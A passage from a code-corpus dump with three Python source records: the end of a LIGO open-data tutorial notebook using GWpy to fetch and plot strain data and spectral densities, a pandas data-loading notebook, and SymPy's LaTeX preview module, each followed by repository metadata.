`gwosc` module can be used to query for what data are available on GWOSC.\n# The next thing to do is to actually read some open data. Let's try to get some for GW150914, the first direct detection of an astrophysical gravitational-wave signal from a BBH (binary black hole system).\n# \n# We can use the [`TimeSeries.fetch_open_data`](https://gwpy.github.io/docs/stable/api/gwpy.timeseries.TimeSeries.html#gwpy.timeseries.TimeSeries.fetch_open_data) method to download data directly from https://www.gw-openscience.org, but we need to know the GPS times.\n# We can query for the GPS time of an event as follows:\n\n# In[2]:\n\n\nfrom gwosc.datasets import event_gps\ngps = event_gps('GW150914')\nprint(gps)\n\n\n# Now we can build a `[start, end)` GPS segment to 10 seconds around this time, using integers for convenience:\n\n# In[3]:\n\n\nsegment = (int(gps)-5, int(gps)+5)\nprint(segment)\n\n\n# and can now query for the full data.\n# For this example we choose to retrieve data for the LIGO-Livingston interferometer, using the identifier `'L1'`.\n# We could have chosen any of\n# \n# - `'G1`' - GEO600\n# - `'H1'` - LIGO-Hanford\n# - `'L1'` - LIGO-Livingston\n# - `'V1'` - (Advanced) Virgo\n# \n# In the future, the Japanese observatory KAGRA will come online, with the identifier `'K1'`.\n\n# In[4]:\n\n\nfrom gwpy.timeseries import TimeSeries\nldata = TimeSeries.fetch_open_data('L1', *segment, verbose=True)\nprint(ldata)\n\n\n# ##### The `verbose=True` flag lets us see that GWpy has discovered two files that provides the data for the given interval, downloaded them, and loaded the data.\n# The files are not stored permanently, so next time you do the same call, it will be downloaded again, however, if you know you might repeat the same call many times, you can use `cache=True` to store the file on your computer.\n# \n# Notes: \n# \n# * To read data from a local file instead of from the GWOSC server, we can use [`TimeSeries.read`](https://gwpy.github.io/docs/stable/api/gwpy.timeseries.TimeSeries.html#gwpy.timeseries.TimeSeries.read) method.\n# \n# We have now downloaded real LIGO data for GW150914! These are the actual data used in the analysis that discovered the first binary black hole merger.\n\n# To sanity check things, we can easily make a plot, using the [`plot()`](https://gwpy.github.io/docs/stable/timeseries/plot.html) method of the `data` `TimeSeries`.\n\n# <div class=\"alert alert-info\">\n# Since this is the first time we are plotting something in this notebook, we need to make configure `matplotlib` (the plotting library) to work within the notebook properly:\n# </div>\n\n# Matplotlib documentation can be found [`here`](https://matplotlib.org/contents.html).\n\n# In[5]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nplot = ldata.plot()\n\n\n# Notes: There are alternatives ways to access the GWOSC data. \n# \n# * [`readligo`](https://losc.ligo.org/s/sample_code/readligo.py) is a light-weight Python module that returns the time series into a Numpy array.\n# * The [PyCBC](http://github.com/ligo-cbc/pycbc) package has the `pycbc.frame.query_and_read_frame` and `pycbc.frame.read_frame` methods. We use [PyCBC](http://github.com/ligo-cbc/pycbc) in Tutorial 2.1, 2.2 and 2.3. \n\n# ## Handling data in the frequency domain using the Fourier transform\n# \n# The [Fourier transform](https://en.wikipedia.org/wiki/Fourier_transform) is a widely-used mathematical tool to expose the frequency-domain content of a time-domain signal, meaning we can see which frequencies contian lots of power, and which have less.\n# \n# We can calculate the Fourier transform of our `TimeSeries` using the [`fft()`](https://gwpy.github.io/docs/stable/api/gwpy.timeseries.TimeSeries.html#gwpy.timeseries.TimeSeries.fft) method:\n\n# In[6]:\n\n\nfft = ldata.fft()\nprint(fft)\n\n\n# The result is a [`FrequencySeries`](https://gwpy.github.io/docs/stable/frequencyseries/), with complex amplitude, representing the amplitude and phase of each frequency in our data.\n# We can use `abs()` to extract the amplitude and plot that:\n\n# In[7]:\n\n\nplot = fft.abs().plot(xscale=\"log\", yscale=\"log\")\nplot.show(warn=False)\n\n\n# This doesn't look correct at all!\n# The problem is that the FFT works under the assumption that our data are periodic, which means that the edges of our data look like discontinuities when transformed.\n# We need to apply a window function to our time-domain data before transforming, which we can do using the [`scipy.signal`](https://docs.scipy.org/doc/scipy/reference/signal.html) module:\n\n# In[8]:\n\n\nfrom scipy.signal import get_window\nwindow = get_window('hann', ldata.size)\nlwin = ldata * window\n\n\n# Let's try our transform again and see what we get\n\n# In[9]:\n\n\nfftamp = lwin.fft().abs()\nplot = fftamp.plot(xscale=\"log\", yscale=\"log\")\nplot.show(warn=False)\n\n\n# This looks a little more like what we expect for the amplitude spectral density of a gravitational-wave detector.\n\n# ## Calculating the power spectral density\n# \n# In practice, we typically use a large number of FFTs to estimate an averages power spectral density over a long period of data.\n# We can do this using the [`asd()`](https://gwpy.github.io/docs/stable/api/gwpy.timeseries.TimeSeries.html#gwpy.timeseries.TimeSeries.asd) method, which uses [Welch's method](https://en.wikipedia.org/wiki/Welch%27s_method) to combine FFTs of overlapping, windowed chunks of data.\n\n# In[10]:\n\n\nasd = ldata.asd(fftlength=4, method=\"median\")\nplot = asd.plot()\nplot.show(warn=False)\n\n\n# In[11]:\n\n\nax = plot.gca()\nax.set_xlim(10, 1400)\nax.set_ylim(2e-24, 1e-20)\nplot\n\n\n# The ASD is a standard tool used to study the frequency-domain sensitivity of a gravitational-wave detector.\n# For the LIGO-Livingston data we loaded, we can see large spikes at certain frequencies, including\n# \n# - ~300 Hz\n# - ~500 Hz\n# - ~1000 Hz\n# \n# The [O2 spectral lines](https://www.gw-openscience.org/o2speclines/) page on GWOSC describes a number of these spectral features for O2, with some of them being forced upon us, and some being deliberately introduced to help with interferometer control.\n# \n# Loading more data allows for more FFTs to be averaged during the ASD calculation, meaning random variations get averaged out, and we can see more detail:\n\n# In[12]:\n\n\nldata2 = TimeSeries.fetch_open_data('L1', int(gps)-512, int(gps)+512, cache=True)\nlasd2 = ldata2.asd(fftlength=4, method=\"median\")\nplot = lasd2.plot()\nax = plot.gca()\nax.set_xlim(10, 1400)\nax.set_ylim(5e-24, 1e-20)\nplot.show(warn=False)\n\n\n# Now we can see some more features, including sets of lines around ~30 Hz and ~65 Hz, and some more isolate lines through the more sensitive region.\n# \n# For comparison, we can load the LIGO-Hanford data and plot that as well:\n\n# In[13]:\n\n\n# get Hanford data\nhdata2 = TimeSeries.fetch_open_data('H1', int(gps)-512, int(gps)+512, cache=True)\nhasd2 = hdata2.asd(fftlength=4, method=\"median\")\n\n# and plot using standard colours\nax.plot(hasd2, label='LIGO-Hanford', color='gwpy:ligo-hanford')\n\n# update the Livingston line to use standard colour, and have a label\nlline = ax.lines[0]\nlline.set_color('gwpy:ligo-livingston')  # change colour of Livingston data\nlline.set_label('LIGO-Livingston')\n\nax.set_ylabel(r'Strain noise [$1/\\sqrt{\\mathrm{Hz}}$]')\nax.legend()\nplot\n\n\n# Now we can see clearly the relative sensitivity of each LIGO instrument, the common features between both, and those unique to each observatory.\n\n# # Challenges:\n\n# ##### Quiz Question 1:\n# \n# The peak amplitude in the LIGO-Livingston data occurs at approximately 5 seconds into the plot above and is undetectable above the background noise by the eye. Plot the data for the LIGO-Hanford detector around GW150914. Looking at your new LIGO-Handford plot, can your eye identify a signal peak? \n\n# In[14]:\n\n\nfrom gwosc.datasets import event_gps\ngps1 = event_gps('GW150914')\nprint(gps1)\nsegment1 = (int(gps)-7, int(gps)+7)\nprint(segment1)\n\nfrom gwpy.timeseries import TimeSeries\nldata1 = TimeSeries.fetch_open_data('L1', *segment1, verbose=True)\nprint(ldata1)\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nplot1 = ldata1.plot()\n\n\n# In[24]:\n\n\nimport matplotlib.pyplot as plt\n\nldata2 = TimeSeries.fetch_open_data('L1', int(gps)-512, int(gps)+512, cache=True)\nlasd2 = ldata2.asd(fftlength=4, method=\"median\")\n\n# get Hanford data\nhdata2 = TimeSeries.fetch_open_data('H1', int(gps)-512, int(gps)+512, cache=True)\nhasd2 = hdata2.asd(fftlength=4, method=\"median\")\n\nfig, ax = plt.subplots(figsize=(13,7))\n# and plot using standard colours\nax.plot(hasd2, label='LIGO-Hanford', color='gwpy:ligo-hanford')\nax.plot(lasd2, label='LIGO-Livingston', color='gwpy:ligo-livingston')\n\nax.set_xlim(2, 1400)\nax.set_ylim(5e-24, 2e-19)\n# update the Livingston line to use standard colour, and have a label\n\nax.set_yscale('log')\nax.set_xscale('log')\nax.set_ylabel(r'Strain noise [$1/\\sqrt{\\mathrm{Hz}}$]')\nax.set_xlabel(r'Frequency [Hz]')\n\nax.legend()\nplt.show()\n\n\n# # Quiz Question 2 :\n# \n# Make an ASD around the time of an O3 event, GW190412 for L1 detector .\u00a0 Compare this with the ASDs around GW150914 for L1 detector.\u00a0 Which data have lower noise - and so are more sensitive - around 100 Hz?\n# \n\n# In[25]:\n\n\nfrom gwosc.datasets import event_gps\ngps_GW190412 = event_gps('GW190412')\nprint(gps_GW190412)\nsegment_GW190412 = (int(gps_GW190412)-7, int(gps_GW190412)+7)\nprint(segment_GW190412)\n\nfrom gwpy.timeseries import TimeSeries\nldata_GW190412 = TimeSeries.fetch_open_data('L1', *segment_GW190412, verbose=True)\nprint(ldata_GW190412)\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nplot_GW190412 = ldata_GW190412.plot()\n\n\n# In[32]:\n\n\nimport matplotlib.pyplot as plt\n\nldata_GW190412 = TimeSeries.fetch_open_data('L1', int(gps_GW190412)-512, int(gps_GW190412)+512, cache=True)\nlasd_GW190412 = ldata_GW190412.asd(fftlength=4, method=\"median\")\n\n# get Hanford data\nhdata_GW190412 = TimeSeries.fetch_open_data('H1', int(gps_GW190412)-512, int(gps_GW190412)+512, cache=True)\nhasd_GW190412 = hdata_GW190412.asd(fftlength=4, method=\"median\")\n\nfig, ax = plt.subplots(figsize=(13,7))\n# and plot using standard colours\nax.plot(hasd_GW190412, label='LIGO-Hanford', color='gwpy:ligo-hanford')\nax.plot(lasd_GW190412, label='LIGO-Livingston', color='gwpy:ligo-livingston')\n\nax.set_xlim(2, 1400)\nax.set_ylim(4e-24, 7e-19)\n# update the Livingston line to use standard colour, and have a label\n\nax.set_yscale('log')\nax.set_xscale('log')\nax.set_ylabel(r'Strain noise [$1/\\sqrt{\\mathrm{Hz}}$]')\nax.set_xlabel(r'Frequency [Hz]')\n\nax.legend()\nplt.show()\n\n\n# In[33]:\n\n\nimport matplotlib.pyplot as plt\n\nldata_GW190412 = TimeSeries.fetch_open_data('L1', int(gps_GW190412)-512, int(gps_GW190412)+512, cache=True)\nlasd_GW190412 = ldata_GW190412.asd(fftlength=4, method=\"median\")\n\nldata2 = TimeSeries.fetch_open_data('L1', int(gps)-512, int(gps)+512, cache=True)\nlasd2 = ldata2.asd(fftlength=4, method=\"median\")\n\nfig, ax = plt.subplots(figsize=(13,7))\n# and plot using standard colours\nax.plot(lasd2, label='LIGO-L1-GW150914', color='blue')\nax.plot(lasd_GW190412, label='LIGO-L1-GW190412', color='green')\n\nax.set_xlim(2, 1400)\nax.set_ylim(4e-24, 7e-19)\n# update the Livingston line to use standard colour, and have a label\n\nax.set_yscale('log')\nax.set_xscale('log')\nax.set_ylabel(r'Strain noise [$1/\\sqrt{\\mathrm{Hz}}$]')\nax.set_xlabel(r'Frequency [Hz]')\n\nax.legend()\nplt.show()\n\n\n# # The GW190412 data has lesser noise around 100 Hz\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "852372bac5ab0b8c0199e3f5cb3a8cae2a663545", "size": 13657, "ext": "py", "lang": "Python", "max_stars_repo_path": "gw-odw_Day1_with_Solns/Tuto 1.2 Open Data access with GWpy with solutions.py", "max_stars_repo_name": "basuparth/grav_wave_workshop3", "max_stars_repo_head_hexsha": "eb9e2ff066bb1928e5a1dbc8cd8d24344515aae4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "gw-odw_Day1_with_Solns/Tuto 1.2 Open Data access with GWpy with solutions.py", "max_issues_repo_name": "basuparth/grav_wave_workshop3", "max_issues_repo_head_hexsha": "eb9e2ff066bb1928e5a1dbc8cd8d24344515aae4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gw-odw_Day1_with_Solns/Tuto 1.2 Open Data access with GWpy with solutions.py", "max_forks_repo_name": "basuparth/grav_wave_workshop3", "max_forks_repo_head_hexsha": "eb9e2ff066bb1928e5a1dbc8cd8d24344515aae4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.845144357, "max_line_length": 386, "alphanum_fraction": 0.7422567182, "include": true, "reason": "from scipy", "num_tokens": 3803, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758367247085, "lm_q2_score": 0.13660840408654296, "lm_q1q2_score": 0.05107458138148333}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.11.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown]\n# # Setup Notebook: Import, Cleanup, Normalize & Split Data\n\n# %% [markdown]\n# ### Lib imports & Options\n\n# %%\nimport sys\nfrom typing import Dict, OrderedDict, Tuple\nimport warnings\nfrom collections import namedtuple\n\n# ML libs\nimport numpy as np\nimport pandas as pd\n\n# ASSERTS\n# Python \u22653.5 is required\nassert sys.version_info >= (3, 5)\n\n# Pandas options\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', 25)\n\n\n# Ignore useless warnings (see SciPy issue #5998)\nwarnings.filterwarnings(action=\"ignore\", message=\"^internal gelsd\")\n\n\n# %% [markdown]\n# ### Import my libs\n\n# %% [markdown]\n# - The `loader` module is a py module located in the same dir of the notebooks.\n# It sets up the `PYTHONPATH` in order to import py modules from other dirs within the project root.\n# This way you can import the generated scripts (in `/src`) from within a notebook.\n# - The `reloader` module let you reload the imported py modules (deep reload) that were modified since last time they were imported.\n# By calling `reloader.clear()` it invalidated the cache of imported modules that were modified.\n\n# %%\nimport loader # set PYTHONPATH for imports\nimport reloader # Reload local modified files with\n\n\n# %% [markdown]\n# Verify that the syspath was indeed modified by the `loader`. \n# You should see a list of path here where python module are looked up, the last one should be your project root.\n\n# %%\nprint(sys.path)\n\n# %% [markdown]\n# Once `import loader` has been executed you can now import other modules located in different directories under your project root.\n\n# %%\nfrom lib.pd import load_df, drop_na_cols, print_na_cols\n\n\n# %% [markdown]\n# If any of your external modules was modified then execute this cell but don't forget to comment it again once reloaded the modules or it will created import troubles when this notebook will be imported as module.\n\n# %%\n# reloader.clear() # \u26a0\ufe0f Uncomment and execute this to reload modules that were modified\n\n\n# %% [markdown]\n# ## Load the Data & Arrange the data structure\n\n# %% [markdown]\n# `load_df` with no arguments takes the `data_file_abs_path` OR `data_dir` + `data_file_name` defined in `config.toml`\n\n# %%\ndf = load_df() \ndf\n\n# %%\nprint_na_cols(df)\n\n# %% [markdown]\n# Example of imported function from the `lib` dir\n\n# %%\n# Drop all columns having more than 60% of missing values\ndf = drop_na_cols(df, perc=0.6)\ndf.head() # Content and Headquarters were dropped\n\n# %% [markdown]\n# we can pass multiple arguments to `load_df`, they will combine with what's defined in `config.toml`\n\n# %%\ndf_future50 = load_df(data_file_name='Future50.csv')\ndf_future50.head()\n\n# %%\nprint_na_cols(df_future50)\n\n\n# %% [markdown]\n# ## Other data Manipulation\n#\n# Usually you need to cleanup and re-arrange the data structure \n\n# %% [markdown]\n# ## Exported Vars\n#\n# Since we want to import this notebooks as if it was (it will be) a python module from another notebook, it would be nice not to pollute that notebooks with all the variables of this one.   \n# A solution would be to have a function to return only the needed variables, for example:\n\n# %%\ndef get_export():\n    return df, df_future50\n\n# %% [markdown]\n# So we can simply import `from src.load_data import get_export` and get the vars by executing `get_export`\n\n# %% [markdown]\n# # Transform this notebook into a python module\n#\n# Automatically whenever you save this notebook then **Jupytext** will export a new script in `src/load_data.py`\n\n# %%\n", "meta": {"hexsha": "a2d65ff974a39a5e7f99ac19e069003657119615", "size": 3766, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/load_data.py", "max_stars_repo_name": "LeonardoGentile/modular-notebooks-starter", "max_stars_repo_head_hexsha": "b1769c2973e28a0bff41a46abe1768e791753808", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/load_data.py", "max_issues_repo_name": "LeonardoGentile/modular-notebooks-starter", "max_issues_repo_head_hexsha": "b1769c2973e28a0bff41a46abe1768e791753808", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/load_data.py", "max_forks_repo_name": "LeonardoGentile/modular-notebooks-starter", "max_forks_repo_head_hexsha": "b1769c2973e28a0bff41a46abe1768e791753808", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.4890510949, "max_line_length": 214, "alphanum_fraction": 0.7164099841, "include": true, "reason": "import numpy", "num_tokens": 929, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758367247084, "lm_q2_score": 0.13660839002621936, "lm_q1q2_score": 0.05107457612466807}}
{"text": "from __future__ import print_function, division\n\nimport io\nfrom io import BytesIO\nimport os\nfrom os.path import join\nimport shutil\nimport tempfile\n\ntry:\n    from subprocess import STDOUT, CalledProcessError, check_output\nexcept ImportError:\n    pass\n\nfrom sympy.core.compatibility import unicode, u_decode\nfrom sympy.utilities.decorator import doctest_depends_on\nfrom sympy.utilities.misc import find_executable\nfrom .latex import latex\n\n__doctest_requires__ = {('preview',): ['pyglet']}\n\n@doctest_depends_on(exe=('latex', 'dvipng'), modules=('pyglet',),\n            disable_viewers=('evince', 'gimp', 'superior-dvi-viewer'))\ndef preview(expr, output='png', viewer=None, euler=True, packages=(),\n            filename=None, outputbuffer=None, preamble=None, dvioptions=None,\n            outputTexFile=None, **latex_settings):\n    r\"\"\"\n    View expression or LaTeX markup in PNG, DVI, PostScript or PDF form.\n\n    If the expr argument is an expression, it will be exported to LaTeX and\n    then compiled using the available TeX distribution.  The first argument,\n    'expr', may also be a LaTeX string.  The function will then run the\n    appropriate viewer for the given output format or use the user defined\n    one. By default png output is generated.\n\n    By default pretty Euler fonts are used for typesetting (they were used to\n    typeset the well known \"Concrete Mathematics\" book). For that to work, you\n    need the 'eulervm.sty' LaTeX style (in Debian/Ubuntu, install the\n    texlive-fonts-extra package). If you prefer default AMS fonts or your\n    system lacks 'eulervm' LaTeX package then unset the 'euler' keyword\n    argument.\n\n    To use viewer auto-detection, lets say for 'png' output, issue\n\n    >>> from sympy import symbols, preview, Symbol\n    >>> x, y = symbols(\"x,y\")\n\n    >>> preview(x + y, output='png')\n\n    This will choose 'pyglet' by default. To select a different one, do\n\n    >>> preview(x + y, output='png', viewer='gimp')\n\n    The 'png' format is considered special. For all other formats the rules\n    are slightly different. As an example we will take 'dvi' output format. If\n    you would run\n\n    >>> preview(x + y, output='dvi')\n\n    then 'view' will look for available 'dvi' viewers on your system\n    (predefined in the function, so it will try evince, first, then kdvi and\n    xdvi). If nothing is found you will need to set the viewer explicitly.\n\n    >>> preview(x + y, output='dvi', viewer='superior-dvi-viewer')\n\n    This will skip auto-detection and will run user specified\n    'superior-dvi-viewer'. If 'view' fails to find it on your system it will\n    gracefully raise an exception.\n\n    You may also enter 'file' for the viewer argument. Doing so will cause\n    this function to return a file object in read-only mode, if 'filename'\n    is unset. However, if it was set, then 'preview' writes the genereted\n    file to this filename instead.\n\n    There is also support for writing to a BytesIO like object, which needs\n    to be passed to the 'outputbuffer' argument.\n\n    >>> from io import BytesIO\n    >>> obj = BytesIO()\n    >>> preview(x + y, output='png', viewer='BytesIO',\n    ...         outputbuffer=obj)\n\n    The LaTeX preamble can be customized by setting the 'preamble' keyword\n    argument. This can be used, e.g., to set a different font size, use a\n    custom documentclass or import certain set of LaTeX packages.\n\n    >>> preamble = \"\\\\documentclass[10pt]{article}\\n\" \\\n    ...            \"\\\\usepackage{amsmath,amsfonts}\\\\begin{document}\"\n    >>> preview(x + y, output='png', preamble=preamble)\n\n    If the value of 'output' is different from 'dvi' then command line\n    options can be set ('dvioptions' argument) for the execution of the\n    'dvi'+output conversion tool. These options have to be in the form of a\n    list of strings (see subprocess.Popen).\n\n    Additional keyword args will be passed to the latex call, e.g., the\n    symbol_names flag.\n\n    >>> phidd = Symbol('phidd')\n    >>> preview(phidd, symbol_names={phidd:r'\\ddot{\\varphi}'})\n\n    For post-processing the generated TeX File can be written to a file by\n    passing the desired filename to the 'outputTexFile' keyword\n    argument. To write the TeX code to a file named\n    \"sample.tex\" and run the default png viewer to display the resulting\n    bitmap, do\n\n    >>> preview(x + y, outputTexFile=\"sample.tex\")\n\n\n    \"\"\"\n    special = [ 'pyglet' ]\n\n    if viewer is None:\n        if output == \"png\":\n            viewer = \"pyglet\"\n        else:\n            # sorted in order from most pretty to most ugly\n            # very discussable, but indeed 'gv' looks awful :)\n            # TODO add candidates for windows to list\n            candidates = {\n                \"dvi\": [ \"evince\", \"okular\", \"kdvi\", \"xdvi\" ],\n                \"ps\": [ \"evince\", \"okular\", \"gsview\", \"gv\" ],\n                \"pdf\": [ \"evince\", \"okular\", \"kpdf\", \"acroread\", \"xpdf\", \"gv\" ],\n            }\n\n            try:\n                for candidate in candidates[output]:\n                    path = find_executable(candidate)\n                    if path is not None:\n                        viewer = path\n                        break\n                else:\n                    raise SystemError(\n                        \"No viewers found for '%s' output format.\" % output)\n            except KeyError:\n                raise SystemError(\"Invalid output format: %s\" % output)\n    else:\n        if viewer == \"StringIO\":\n            viewer = \"BytesIO\"\n            if outputbuffer is None:\n                raise ValueError(\"outputbuffer has to be a BytesIO \"\n                                 \"compatible object if viewer=\\\"StringIO\\\"\")\n        elif viewer == \"BytesIO\":\n            if outputbuffer is None:\n                raise ValueError(\"outputbuffer has to be a BytesIO \"\n                                 \"compatible object if viewer=\\\"BytesIO\\\"\")\n        elif viewer not in special and not find_executable(viewer):\n            raise SystemError(\"Unrecognized viewer: %s\" % viewer)\n\n\n    if preamble is None:\n        actual_packages = packages + (\"amsmath\", \"amsfonts\")\n        if euler:\n            actual_packages += (\"euler\",)\n        package_includes = \"\\n\" + \"\\n\".join([\"\\\\usepackage{%s}\" % p\n                                             for p in actual_packages])\n\n        preamble = r\"\"\"\\documentclass[varwidth,12pt]{standalone}\n%s\n\n\\begin{document}\n\"\"\" % (package_includes)\n    else:\n        if packages:\n            raise ValueError(\"The \\\"packages\\\" keyword must not be set if a \"\n                             \"custom LaTeX preamble was specified\")\n    latex_main = preamble + '\\n%s\\n\\n' + r\"\\end{document}\"\n\n    if isinstance(expr, str):\n        latex_string = expr\n    else:\n        latex_string = ('$\\\\displaystyle ' +\n                        latex(expr, mode='plain', **latex_settings) +\n                        '$')\n\n    try:\n        workdir = tempfile.mkdtemp()\n\n        with io.open(join(workdir, 'texput.tex'), 'w', encoding='utf-8') as fh:\n            fh.write(unicode(latex_main) % u_decode(latex_string))\n\n        if outputTexFile is not None:\n            shutil.copyfile(join(workdir, 'texput.tex'), outputTexFile)\n\n        if not find_executable('latex'):\n            raise RuntimeError(\"latex program is not installed\")\n\n        try:\n            # Avoid showing a cmd.exe window when running this\n            # on Windows\n            if os.name == 'nt':\n                creation_flag = 0x08000000 # CREATE_NO_WINDOW\n            else:\n                creation_flag = 0 # Default value\n            check_output(['latex', '-halt-on-error', '-interaction=nonstopmode',\n                          'texput.tex'],\n                         cwd=workdir,\n                         stderr=STDOUT,\n                         creationflags=creation_flag)\n        except CalledProcessError as e:\n            raise RuntimeError(\n                \"'latex' exited abnormally with the following output:\\n%s\" %\n                e.output)\n\n        if output != \"dvi\":\n            defaultoptions = {\n                \"ps\": [],\n                \"pdf\": [],\n                \"png\": [\"-T\", \"tight\", \"-z\", \"9\", \"--truecolor\"],\n                \"svg\": [\"--no-fonts\"],\n            }\n\n            commandend = {\n                \"ps\": [\"-o\", \"texput.ps\", \"texput.dvi\"],\n                \"pdf\": [\"texput.dvi\", \"texput.pdf\"],\n                \"png\": [\"-o\", \"texput.png\", \"texput.dvi\"],\n                \"svg\": [\"-o\", \"texput.svg\", \"texput.dvi\"],\n            }\n\n            if output == \"svg\":\n                cmd = [\"dvisvgm\"]\n            else:\n                cmd = [\"dvi\" + output]\n            if not find_executable(cmd[0]):\n                raise RuntimeError(\"%s is not installed\" % cmd[0])\n            try:\n                if dvioptions is not None:\n                    cmd.extend(dvioptions)\n                else:\n                    cmd.extend(defaultoptions[output])\n                cmd.extend(commandend[output])\n            except KeyError:\n                raise SystemError(\"Invalid output format: %s\" % output)\n\n            try:\n                # Avoid showing a cmd.exe window when running this\n                # on Windows\n                if os.name == 'nt':\n                    creation_flag = 0x08000000 # CREATE_NO_WINDOW\n                else:\n                    creation_flag = 0 # Default value\n                check_output(cmd, cwd=workdir, stderr=STDOUT,\n                             creationflags=creation_flag)\n            except CalledProcessError as e:\n                raise RuntimeError(\n                    \"'%s' exited abnormally with the following output:\\n%s\" %\n                    (' '.join(cmd), e.output))\n\n        src = \"texput.%s\" % (output)\n\n        if viewer == \"file\":\n            if filename is None:\n                buffer = BytesIO()\n                with open(join(workdir, src), 'rb') as fh:\n                    buffer.write(fh.read())\n                return buffer\n            else:\n                shutil.move(join(workdir,src), filename)\n        elif viewer == \"BytesIO\":\n            with open(join(workdir, src), 'rb') as fh:\n                outputbuffer.write(fh.read())\n        elif viewer == \"pyglet\":\n            try:\n                from pyglet import window, image, gl\n                from pyglet.window import key\n            except ImportError:\n                raise ImportError(\"pyglet is required for preview.\\n visit http://www.pyglet.org/\")\n\n            if output == \"png\":\n                from pyglet.image.codecs.png import PNGImageDecoder\n                img = image.load(join(workdir, src), decoder=PNGImageDecoder())\n            else:\n                raise SystemError(\"pyglet preview works only for 'png' files.\")\n\n            offset = 25\n\n            config = gl.Config(double_buffer=False)\n            win = window.Window(\n                width=img.width + 2*offset,\n                height=img.height + 2*offset,\n                caption=\"sympy\",\n                resizable=False,\n                config=config\n            )\n\n            win.set_vsync(False)\n\n            try:\n                def on_close():\n                    win.has_exit = True\n\n                win.on_close = on_close\n\n                def on_key_press(symbol, modifiers):\n                    if symbol in [key.Q, key.ESCAPE]:\n                        on_close()\n\n                win.on_key_press = on_key_press\n\n                def on_expose():\n                    gl.glClearColor(1.0, 1.0, 1.0, 1.0)\n                    gl.glClear(gl.GL_COLOR_BUFFER_BIT)\n\n                    img.blit(\n                        (win.width - img.width) / 2,\n                        (win.height - img.height) / 2\n                    )\n\n                win.on_expose = on_expose\n\n                while not win.has_exit:\n                    win.dispatch_events()\n                    win.flip()\n            except KeyboardInterrupt:\n                pass\n\n            win.close()\n        else:\n            try:\n                # Avoid showing a cmd.exe window when running this\n                # on Windows\n                if os.name == 'nt':\n                    creation_flag = 0x08000000 # CREATE_NO_WINDOW\n                else:\n                    creation_flag = 0 # Default value\n                check_output([viewer, src], cwd=workdir, stderr=STDOUT,\n                             creationflags=creation_flag)\n            except CalledProcessError as e:\n                raise RuntimeError(\n                    \"'%s %s' exited abnormally with the following output:\\n%s\" %\n                    (viewer, src, e.output))\n    finally:\n        try:\n            shutil.rmtree(workdir) # delete directory\n        except OSError as e:\n            if e.errno != 2: # code 2 - no such file or directory\n                raise\n", "meta": {"hexsha": "c7c2552150b899791c7884c711f8e36b9372b381", "size": 12714, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/printing/preview.py", "max_stars_repo_name": "ethankward/sympy", "max_stars_repo_head_hexsha": "44664d9f625a1c68bc492006cfe1012cb0b49ee4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-05-18T22:36:49.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-24T05:56:16.000Z", "max_issues_repo_path": "sympy/printing/preview.py", "max_issues_repo_name": "ethankward/sympy", "max_issues_repo_head_hexsha": "44664d9f625a1c68bc492006cfe1012cb0b49ee4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-04-22T12:45:26.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-22T12:45:26.000Z", "max_forks_repo_path": "sympy/printing/preview.py", "max_forks_repo_name": "ethankward/sympy", "max_forks_repo_head_hexsha": "44664d9f625a1c68bc492006cfe1012cb0b49ee4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-05-18T21:32:31.000Z", "max_forks_repo_forks_event_max_datetime": "2019-07-26T11:05:46.000Z", "avg_line_length": 37.5044247788, "max_line_length": 99, "alphanum_fraction": 0.5497089822, "include": true, "reason": "from sympy", "num_tokens": 2817, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41111085480195975, "lm_q2_score": 0.12421301645710342, "lm_q1q2_score": 0.05106531937320968}}
